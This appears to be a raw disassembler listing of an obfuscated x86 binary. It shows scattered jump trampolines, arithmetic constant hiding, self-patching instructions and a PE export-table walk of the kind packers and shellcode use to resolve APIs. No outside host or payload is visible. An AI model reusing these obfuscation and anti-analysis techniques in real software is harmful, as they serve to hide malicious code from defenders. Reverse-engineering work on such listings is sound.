loc_438EC2:				; CODE XREF: sub_43F5F7:loc_43CAE7j
		push	edx
		call	sub_43F3F8
		push	9C62816Dh
		pop	eax
		jmp	loc_449736
; END OF FUNCTION CHUNK	FOR sub_43F5F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4458AD

loc_438ED3:				; CODE XREF: sub_4458AD:loc_44865Cj
		push	edx
		pop	esi
		xchg	esi, [esp+0]
		push	offset sub_43EB0D
		jmp	loc_43E318
; END OF FUNCTION CHUNK	FOR sub_4458AD
; ---------------------------------------------------------------------------

loc_438EE2:				; CODE XREF: kgbikm34:loc_44B9C3j
		jz	loc_43FB5A
		jmp	loc_43FB26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_438EED:				; CODE XREF: sub_43DF5B:loc_440534j
		jge	loc_44DDC3
		jnb	loc_449255
		add	edi, 85A74766h
		cmp	edx, edi
		jmp	loc_44DDB5
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACA5

loc_438F06:				; CODE XREF: sub_43ACA5+11j
		or	ecx, ds:4000F1h
		xor	ecx, 3A62124Fh
		test	ecx, 100h
		jmp	loc_449EDD
; END OF FUNCTION CHUNK	FOR sub_43ACA5
; ---------------------------------------------------------------------------

loc_438F1D:				; CODE XREF: kgbikm34:0044CF26j
		xor	ecx, 74384E19h
		xor	eax, 8CAFAC10h
		jmp	loc_43DB39
; ---------------------------------------------------------------------------
		jo	loc_440DA1
		jmp	sub_44BEAD
; ---------------------------------------------------------------------------
		mov	eax, [ebp-30h]
		mov	[ebp-4], eax
		push	59A1AEC7h
		xchg	ebx, [esp]
		mov	eax, ebx
		pop	ebx
		xor	eax, 749ADCE2h
		sub	eax, 0D2A1D02Ah
		jmp	loc_444497
; ---------------------------------------------------------------------------

loc_438F5B:				; CODE XREF: kgbikm34:0044B548j
		mov	ebp, [edx]

loc_438F5D:				; CODE XREF: kgbikm34:loc_43B05Fj
		push	4374F9h
		jmp	loc_44B75A
; ---------------------------------------------------------------------------

loc_438F67:				; CODE XREF: kgbikm34:0043D293j
		xor	edi, esi
		xor	edx, 4DE70E83h
		jmp	loc_43B90E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442340

loc_438F74:				; CODE XREF: sub_442340:loc_44DD7Aj
		jz	loc_439AB4

loc_438F7A:				; CODE XREF: kgbikm34:0044DB13j
		jmp	nullsub_274
; END OF FUNCTION CHUNK	FOR sub_442340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444240

loc_438F7F:				; CODE XREF: sub_444240+1j
		jmp	loc_443F65
; END OF FUNCTION CHUNK	FOR sub_444240
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44262A

loc_438F84:				; CODE XREF: sub_44262A-8651j
		jmp	nullsub_51
; END OF FUNCTION CHUNK	FOR sub_44262A
; ---------------------------------------------------------------------------
		cdq
		mov	ecx, 0CA52FDE9h
		jmp	loc_439AB4
; ---------------------------------------------------------------------------

loc_438F94:				; CODE XREF: kgbikm34:00440FD0j
		xor	edx, 0B7DA3FCEh
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_438F9A:				; CODE XREF: sub_43BCAD:loc_440FA7j
		xor	eax, 0C08763C8h
		rol	eax, 1
		jnb	loc_44CF5D
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; START	OF FUNCTION CHUNK FOR sub_4466A3

loc_438FA8:				; CODE XREF: sub_4466A3+4F16j
		jmp	sub_44A9D8
; END OF FUNCTION CHUNK	FOR sub_4466A3
; ---------------------------------------------------------------------------

loc_438FAD:				; CODE XREF: kgbikm34:004389F7j
		jmp	locret_44433D
; ---------------------------------------------------------------------------

loc_438FB2:				; CODE XREF: kgbikm34:loc_43853Dj
					; kgbikm34:00441AAFj
		sub	eax, 0E06F973Dh
		or	eax, 0B8E2623Ah
		add	eax, 658DAAEh
		mov	eax, [eax]
		or	eax, eax
		jmp	loc_4492D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_438FCD:				; CODE XREF: sub_43CAB5+42C4j
		jl	loc_43BA50

loc_438FD3:				; CODE XREF: sub_4395BB+D3CAj
		jmp	nullsub_44
; END OF FUNCTION CHUNK	FOR sub_43CAB5
; ---------------------------------------------------------------------------
		popf
		jb	loc_43B68A
		jmp	loc_43BA4A
; ---------------------------------------------------------------------------
		mov	eax, 0D504D785h
		push	esi
		push	328E3FEh
		pop	esi
		add	esi, 0EE06259Ah
		jmp	loc_43C488
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_438FFB:				; CODE XREF: sub_43B932-2567j
		sub	edi, edx
		popf
		jmp	loc_43B6F7
; END OF FUNCTION CHUNK	FOR sub_43B932

; =============== S U B	R O U T	I N E =======================================



sub_439003	proc near		; DATA XREF: sub_444296:loc_43D3DCo

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00439D6E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00439E39 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043E8A9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E91B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043FC14 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004400F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004427E5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442BCE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00443371 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00443385 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044922D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044C005 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DE12 SIZE 00000008 BYTES

		jnb	loc_443385
		mov	eax, [esp+0]

loc_43900C:				; CODE XREF: kgbikm34:loc_439390j
		push	edx
		call	sub_43EB8F
		mov	eax, 0EFFDE014h
		call	sub_4400C7
		jmp	loc_443371
sub_439003	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_439021:				; CODE XREF: kgbikm34:004407E2j
		push	esi

; =============== S U B	R O U T	I N E =======================================



sub_439022	proc near		; CODE XREF: sub_4438B7+3p
		xchg	ecx, [esp+0]
		pop	ecx
		mov	edx, ecx
		pop	ecx
		call	sub_437A6A

loc_43902E:				; CODE XREF: sub_44B991-3ECj
		jmp	sub_4487F2
sub_439022	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481F3

loc_439033:				; CODE XREF: sub_4481F3-C836j
		pop	eax
; END OF FUNCTION CHUNK	FOR sub_4481F3

; =============== S U B	R O U T	I N E =======================================



sub_439034	proc near		; CODE XREF: sub_439034+135ADp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00439040 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043AFB3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043B2FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441EA8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004441A6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004443E0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044B9C9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C5CB SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044CD9E SIZE 0000001A BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [eax],	0C3h
		jmp	loc_441EA8
sub_439034	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439034

loc_439040:				; CODE XREF: sub_439034:loc_4443E0j
		pop	edx
		mov	eax, [esp-8+arg_4]
		jmp	loc_4441A6
; END OF FUNCTION CHUNK	FOR sub_439034
; ---------------------------------------------------------------------------

loc_439049:				; CODE XREF: kgbikm34:loc_4474F1j
		push	edx
		call	sub_445D55
		push	0ABF6D06h
		pop	eax
		sub	eax, 945D3D2h
		push	offset loc_43A7C6
		jmp	locret_43B38D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439274

loc_439065:				; CODE XREF: sub_439274+AB64j
		jg	loc_43AC34
		jmp	loc_445FF3
; END OF FUNCTION CHUNK	FOR sub_439274
; ---------------------------------------------------------------------------
		push	edx
		push	498ACE5Ch
		pop	edx
		or	edx, 2EC388FFh
		add	edx, 907612B5h
		mov	[edx], eax
		pop	edx
		lea	eax, nullsub_12
		jmp	loc_43C981
; ---------------------------------------------------------------------------

loc_439091:				; CODE XREF: kgbikm34:loc_443E77j
		jnz	loc_43BAA4
		jmp	loc_446DDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB97

loc_43909C:				; CODE XREF: sub_43CB97:loc_4391DBj
		push	offset sub_439154
		jmp	loc_43BB11
; END OF FUNCTION CHUNK	FOR sub_43CB97
; ---------------------------------------------------------------------------

locret_4390A6:				; CODE XREF: kgbikm34:loc_44117Aj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_4390A7:				; CODE XREF: sub_4471D6-F9FDj
		jmp	loc_4422BD
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------

loc_4390AC:				; DATA XREF: sub_44BAB7-13FD1o
		mov	[ebp-1Ch], eax
		jno	loc_44623F
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		mov	eax, ds:dword_437B4C[eax*4]
		mov	[ebp-8], eax
		push	offset sub_446230
		jmp	locret_4431FA

; =============== S U B	R O U T	I N E =======================================



sub_4390CF	proc near		; CODE XREF: kgbikm34:004388CCj
					; sub_43AB97+3C48p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043EF74 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043F5AE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004400E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441CE3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00442A9E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443225 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004484AC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044A889 SIZE 00000006 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	ecx
		push	0BC11BD3Ch
		pop	ecx
		add	ecx, 977FA369h
		jmp	loc_43F5AE
sub_4390CF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440834

loc_4390E5:				; CODE XREF: sub_440834:loc_4452D3j
		xor	edx, 0CB443141h
		xchg	edx, [esp+8+var_8]
		push	0FFFFFFFFh
		push	0
		call	sub_442551
		push	eax
		jmp	loc_43A061
; END OF FUNCTION CHUNK	FOR sub_440834
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4479D5

loc_4390FD:				; CODE XREF: sub_4479D5+Dj
		and	ecx, 4523D069h
		sub	ecx, 9EDE3ADBh
		xor	ecx, 0E6384F0Eh
		push	offset loc_448F17
		jmp	nullsub_93
; END OF FUNCTION CHUNK	FOR sub_4479D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4403D5

loc_439119:				; CODE XREF: sub_4403D5+7DE2j
		jnp	sub_442DF5
		test	ebp, esi
		jmp	loc_4383C6
; END OF FUNCTION CHUNK	FOR sub_4403D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439705

loc_439126:				; CODE XREF: sub_439705:loc_43744Dj
		push	edx
		push	edi
		push	0F676944h
		pop	edi
		or	edi, 0E874104Eh
		add	edi, 10CD692Eh
		xchg	edi, [esp+8+var_8]
		jmp	loc_43B904
; END OF FUNCTION CHUNK	FOR sub_439705
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_439142:				; CODE XREF: sub_439BDE:loc_441007j
		mov	eax, edx
		xchg	eax, [esp+0]
		push	5A799897h
		xchg	ebx, [esp+4+var_4]
		jmp	loc_443A03
; END OF FUNCTION CHUNK	FOR sub_439BDE

; =============== S U B	R O U T	I N E =======================================



sub_439154	proc near		; DATA XREF: sub_43CB97:loc_43909Co

; FUNCTION CHUNK AT 0043ED5B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044212E SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		jmp	loc_44212E
sub_439154	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D114

loc_43915D:				; CODE XREF: sub_43D114:loc_449387j
		rol	esi, 9
		or	esi, 265B4909h
		and	esi, 0BC9DB7Dh
		add	esi, 0F47AD896h
		xchg	esi, [esp+0]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_43D114
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44647B

loc_43917A:				; CODE XREF: sub_44647B+1Ej
		jl	loc_440086
		adc	edi, 0AA2645Bh
		test	ecx, eax

loc_439188:				; CODE XREF: kgbikm34:0043C9C0j
		jmp	loc_44A818
; END OF FUNCTION CHUNK	FOR sub_44647B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_43918D:				; CODE XREF: sub_43D494:loc_43AE31j
		add	eax, ebx
		pop	ebx
		xor	edx, edx
		push	edx
		push	edi
		jmp	loc_448D7D
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------

locret_439199:				; CODE XREF: kgbikm34:loc_43F904j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB8F

loc_43919A:				; CODE XREF: sub_43EB8F+A011j
		jmp	loc_44516B
; END OF FUNCTION CHUNK	FOR sub_43EB8F
; ---------------------------------------------------------------------------

loc_43919F:				; CODE XREF: kgbikm34:00445B12j
		jmp	loc_440CDE
; ---------------------------------------------------------------------------

loc_4391A4:				; DATA XREF: sub_437A59+7o
		mov	eax, [esp]
		push	edx
		call	sub_44B5E4
		mov	eax, 1AABF86Ch
		call	sub_441002
		mov	ds:off_41E204, eax
		lea	eax, sub_4450E9
		mov	byte ptr [eax],	0C3h
		jmp	loc_43FCF1

; =============== S U B	R O U T	I N E =======================================



sub_4391CB	proc near		; CODE XREF: sub_402F48+B1p
					; sub_4391CB+5j
					; DATA XREF: ...
		call	sub_4391E0
		jmp	ds:off_41E208
sub_4391CB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_4391D6:				; CODE XREF: sub_440443+5760j
		jmp	nullsub_214
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB97

loc_4391DB:				; CODE XREF: sub_43CB97+857Aj
		jmp	loc_43909C
; END OF FUNCTION CHUNK	FOR sub_43CB97

; =============== S U B	R O U T	I N E =======================================



sub_4391E0	proc near		; CODE XREF: sub_4391CBp
					; kgbikm34:loc_439825j	...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043CF5B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044247B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444028 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00444650 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00445C0E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446B1E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A0EE SIZE 00000023 BYTES

		jb	loc_444650
		pop	edx
		mov	eax, [esp-4+arg_0]
		jmp	loc_44247B
sub_4391E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4391EF:				; CODE XREF: kgbikm34:0044D16Bj
		call	sub_446C8B

loc_4391F4:				; CODE XREF: kgbikm34:00438A7Aj
		push	ebx
		push	0D23FE714h
		pop	ebx
		and	ebx, 323A7DD4h
		add	ebx, 0DF57B430h
		or	ebx, 1378AF03h
		rol	ebx, 1Dh
		jmp	loc_449035
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445138

loc_439215:				; CODE XREF: sub_445138:loc_44C44Fj
		push	48299D4Fh
		pop	edx
		add	edx, 54BD9464h
		test	edx, 1
		jmp	loc_44D1A7
; END OF FUNCTION CHUNK	FOR sub_445138
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_43922C:				; CODE XREF: sub_43DC42:loc_44D948j
		call	sub_444892

loc_439231:				; CODE XREF: kgbikm34:0044C00Bj
		jnz	loc_440975
		mov	eax, [esp-4+arg_0]
		push	edx
		push	ebx
		push	95462AE5h
		pop	ebx
		add	ebx, 24A0C698h
		jmp	loc_43E200
; END OF FUNCTION CHUNK	FOR sub_43DC42
; ---------------------------------------------------------------------------
		push	edx
		mov	[ebx], ecx
		jmp	sub_442A46
; ---------------------------------------------------------------------------
		push	eax
		jmp	sub_43E49F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_43925B:				; CODE XREF: sub_439A2E+D285j
		xchg	ecx, eax
		add	ecx, 0EB03C777h

loc_439263:				; CODE XREF: sub_439A2E:loc_44129Bj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_439988
		jmp	loc_440B6D
; END OF FUNCTION CHUNK	FOR sub_439A2E

; =============== S U B	R O U T	I N E =======================================



sub_439274	proc near		; DATA XREF: sub_44114F-6675o

; FUNCTION CHUNK AT 004375C5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00439065 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043AC29 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043DA49 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DD29 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043E158 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E24B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00440B15 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00441F43 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044216A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443DCE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004443A0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044557C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00445F45 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00445FF3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004482B4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00449B3F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044A6EA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044B0A0 SIZE 0000002C BYTES

		add	ebp, ebx
		add	ebp, 0DD0C6BDAh
		mov	ebx, ebp
		mov	ebx, [ebx]
		add	ebx, eax
		mov	[ebp+0], ebx
		pop	ebx
		pop	ebp
		jmp	loc_43E158
sub_439274	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43928C:				; DATA XREF: sub_43FA71-42EAo
		push	0CDAFD622h
		pop	edx
		and	edx, 8EC85D48h
		sub	edx, 0B52A4B1Ch
		test	edx, 20h
		jmp	loc_447644
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439B90

loc_4392A9:				; CODE XREF: sub_439B90j
		sub	al, 99h
		push	30ABA0D5h
		pop	edx
		xor	edx, 0A54686Eh
		jmp	loc_44680C
; END OF FUNCTION CHUNK	FOR sub_439B90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_4392BC:				; CODE XREF: sub_4471D6:loc_43A8B9j
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_444625
; ---------------------------------------------------------------------------

loc_4392C5:				; CODE XREF: sub_4471D6:loc_440870j
		test	byte ptr [ebp-7], 8
		jz	loc_44BF2B
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_44B7AF
		jmp	loc_447171
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A1A6

loc_4392DD:				; CODE XREF: sub_44A1A6-106A5j
		jz	loc_447158
		popf
		cmp	ebp, edi
		jmp	loc_43DA34
; END OF FUNCTION CHUNK	FOR sub_44A1A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449880

loc_4392EB:				; CODE XREF: sub_449880+Ej
		mov	[ebp-24h], eax
		mov	eax, [ebp-24h]
		jmp	loc_447563
; END OF FUNCTION CHUNK	FOR sub_449880
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAF3

loc_4392F6:				; CODE XREF: sub_44DAF3j
		mov	eax, [ebp-18h]
		test	dword ptr [eax], 0FFFF0000h
		jnz	loc_43E54E
		jmp	loc_446177
; END OF FUNCTION CHUNK	FOR sub_44DAF3
; ---------------------------------------------------------------------------

locret_43930A:				; CODE XREF: kgbikm34:loc_4419AAj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF2C

loc_43930B:				; CODE XREF: sub_43AF2C+7j
		jmp	nullsub_308
; END OF FUNCTION CHUNK	FOR sub_43AF2C
; ---------------------------------------------------------------------------

loc_439310:				; CODE XREF: kgbikm34:0043A347j
		jmp	loc_43DE64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441353

loc_439315:				; CODE XREF: sub_441353:loc_438AC4j
		mov	[ecx], eax
		push	offset sub_43BF7A
		jmp	loc_44DF38
; END OF FUNCTION CHUNK	FOR sub_441353
; ---------------------------------------------------------------------------
		xchg	ebp, [ebx]
		or	ecx, eax
		jmp	sub_442F26
; ---------------------------------------------------------------------------

loc_43932A:				; DATA XREF: sub_4414DB+D48o
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_448B0B
		mov	ecx, [ebx+ecx+0Ch]
; START	OF FUNCTION CHUNK FOR sub_43F145

loc_43933D:				; CODE XREF: sub_43F145:loc_443B7Aj
		jmp	loc_4378AD
; END OF FUNCTION CHUNK	FOR sub_43F145
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_439342:				; CODE XREF: sub_449F77-C0CBj
		mov	eax, ecx
		xchg	eax, [esp+0]
		push	0FACFE1BEh
		pop	ecx
		jmp	loc_4473D5
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B89E

loc_439352:				; CODE XREF: sub_43B89E+Dj
		rol	ecx, 15h
		add	ecx, 0B9B6A40Dh
		xor	ecx, ds:4000F6h
		cmp	ecx, 3BF93BF7h
		jmp	loc_44A3C8
; END OF FUNCTION CHUNK	FOR sub_43B89E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444864

loc_43936C:				; CODE XREF: sub_444864-2D7Cj
		jnb	loc_447B27

loc_439372:				; CODE XREF: sub_444864:loc_44D1CAj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_443DE3
		jmp	loc_44DFFA
; END OF FUNCTION CHUNK	FOR sub_444864
; ---------------------------------------------------------------------------
		push	ecx
		push	916018B5h
		add	ecx, edi
		jmp	loc_44929C
; ---------------------------------------------------------------------------

loc_439390:				; CODE XREF: kgbikm34:004404B0j
		jz	loc_43900C
		adc	eax, ebx
; START	OF FUNCTION CHUNK FOR sub_443DF0

loc_439398:				; CODE XREF: sub_443DF0:loc_440499j
		rol	edi, 0Dh
		sub	edi, 38E4BD4Bh
		add	edi, 24F451FCh
		popf
		jmp	loc_4457E7
; END OF FUNCTION CHUNK	FOR sub_443DF0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD9F

loc_4393AD:				; CODE XREF: sub_43AD9F:loc_44CCA5j
		or	eax, eax
		jnz	loc_44C14A
		jmp	loc_444B46
; END OF FUNCTION CHUNK	FOR sub_43AD9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_4393BA:				; CODE XREF: sub_43D494+894Bj
		jz	loc_443941
		jmp	loc_441037
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_4393C5:				; CODE XREF: sub_43B932:loc_43DAC1j
		jz	loc_43B6F7
		jmp	loc_438FFB
; END OF FUNCTION CHUNK	FOR sub_43B932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F200

loc_4393D0:				; CODE XREF: sub_43F200:loc_4440C8j
		mov	eax, 99B20D50h
		call	sub_43BF6F
		push	ebx
		push	15E8CA5Ah
		pop	ebx
		xor	ebx, 379FA254h
		or	ebx, 2481C642h
		rol	ebx, 0Ch
		jmp	loc_44B4E2
; END OF FUNCTION CHUNK	FOR sub_43F200
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_348. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447FC7

loc_4393F6:				; CODE XREF: sub_447FC7:loc_44972Cj
		jz	loc_447224
		jmp	loc_446914
; END OF FUNCTION CHUNK	FOR sub_447FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443643

loc_439401:				; CODE XREF: sub_443643+3116j
					; kgbikm34:0044B9F7j
		mov	edx, 764AC56Eh

loc_439406:				; CODE XREF: sub_443643:loc_43E8AEj
		rol	edi, 0Dh
		add	edi, 4333F145h
		xchg	edi, [esp+0]
		jmp	sub_43C7C6
; END OF FUNCTION CHUNK	FOR sub_443643
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A796

loc_439417:				; CODE XREF: sub_44A796+14j
		add	edi, 2FCF3874h
		popf
		xchg	edi, [esp+4+var_4]
		jmp	loc_4418A6
; END OF FUNCTION CHUNK	FOR sub_44A796
; ---------------------------------------------------------------------------

loc_439426:				; CODE XREF: kgbikm34:0043FA26j
		jno	sub_43CBF7
		popf
		jmp	sub_4490AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B47A

loc_439432:				; CODE XREF: sub_44B47A:loc_442FABj
		add	esi, 6A586078h
		mov	[esi], eax
		pop	esi
		mov	eax, offset dword_43BF20
		push	edi
		push	1D28A84Bh
		pop	edi
		jmp	loc_43974F
; END OF FUNCTION CHUNK	FOR sub_44B47A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471A4

loc_43944C:				; CODE XREF: sub_4471A4-B97Ej
		jnb	loc_441A3E
		mov	esi, 77598BC5h
		jmp	loc_4421F5
; END OF FUNCTION CHUNK	FOR sub_4471A4
; ---------------------------------------------------------------------------

loc_43945C:				; CODE XREF: kgbikm34:00445FEDj
		cmp	ecx, ebp
		jmp	loc_444290
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442340

loc_439463:				; CODE XREF: sub_442340+10j
		jz	loc_439983
		jmp	loc_43A65F
; END OF FUNCTION CHUNK	FOR sub_442340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D114

loc_43946E:				; CODE XREF: sub_43D114+9CA4j
		call	sub_44627C
		mov	eax, 637A7446h
		push	esi
		push	36FFF5CBh
		pop	esi
		jmp	loc_449387
; END OF FUNCTION CHUNK	FOR sub_43D114
; ---------------------------------------------------------------------------

loc_439484:				; DATA XREF: sub_447193+8FAo
		popf
		push	eax
		push	eax
		push	0E0173986h

loc_43948C:				; CODE XREF: kgbikm34:00438AEEj
		pop	eax
		and	eax, 0BFA349AFh
		or	eax, 632CDADAh
		jmp	loc_442A2C
; ---------------------------------------------------------------------------

loc_43949E:				; CODE XREF: kgbikm34:loc_448FCAj
		xor	eax, 0BEB569F9h
		add	eax, ebp
		add	eax, 0AEB6E9D6h
		mov	eax, [eax]
		jmp	loc_43DE22
; ---------------------------------------------------------------------------

loc_4394B3:				; CODE XREF: kgbikm34:0043B0B2j
		rol	ecx, 19h

; =============== S U B	R O U T	I N E =======================================



sub_4394B6	proc near		; CODE XREF: sub_44D7B4+8p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439ECB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00448E5C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044A5E5 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	eax
		jmp	loc_439ECB
sub_4394B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4394C0	proc near		; CODE XREF: sub_43EB8F+E08Ej
		push	ebx
		adc	ecx, eax
		mov	eax, edi
		jmp	loc_448B94
sub_4394C0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD9F

loc_4394CA:				; CODE XREF: sub_43AD9F:loc_4409B1j
		jz	loc_4388B1
		jmp	loc_44747E
; END OF FUNCTION CHUNK	FOR sub_43AD9F
; ---------------------------------------------------------------------------
		sbb	ebx, 0D7C90FCCh
		jmp	loc_44E162
; ---------------------------------------------------------------------------

loc_4394E0:				; DATA XREF: sub_442E1Bo
		jnz	loc_439894
		call	sub_4463B1

; =============== S U B	R O U T	I N E =======================================



sub_4394EB	proc near		; CODE XREF: sub_4407E7-8F88p
					; kgbikm34:0043BD01j

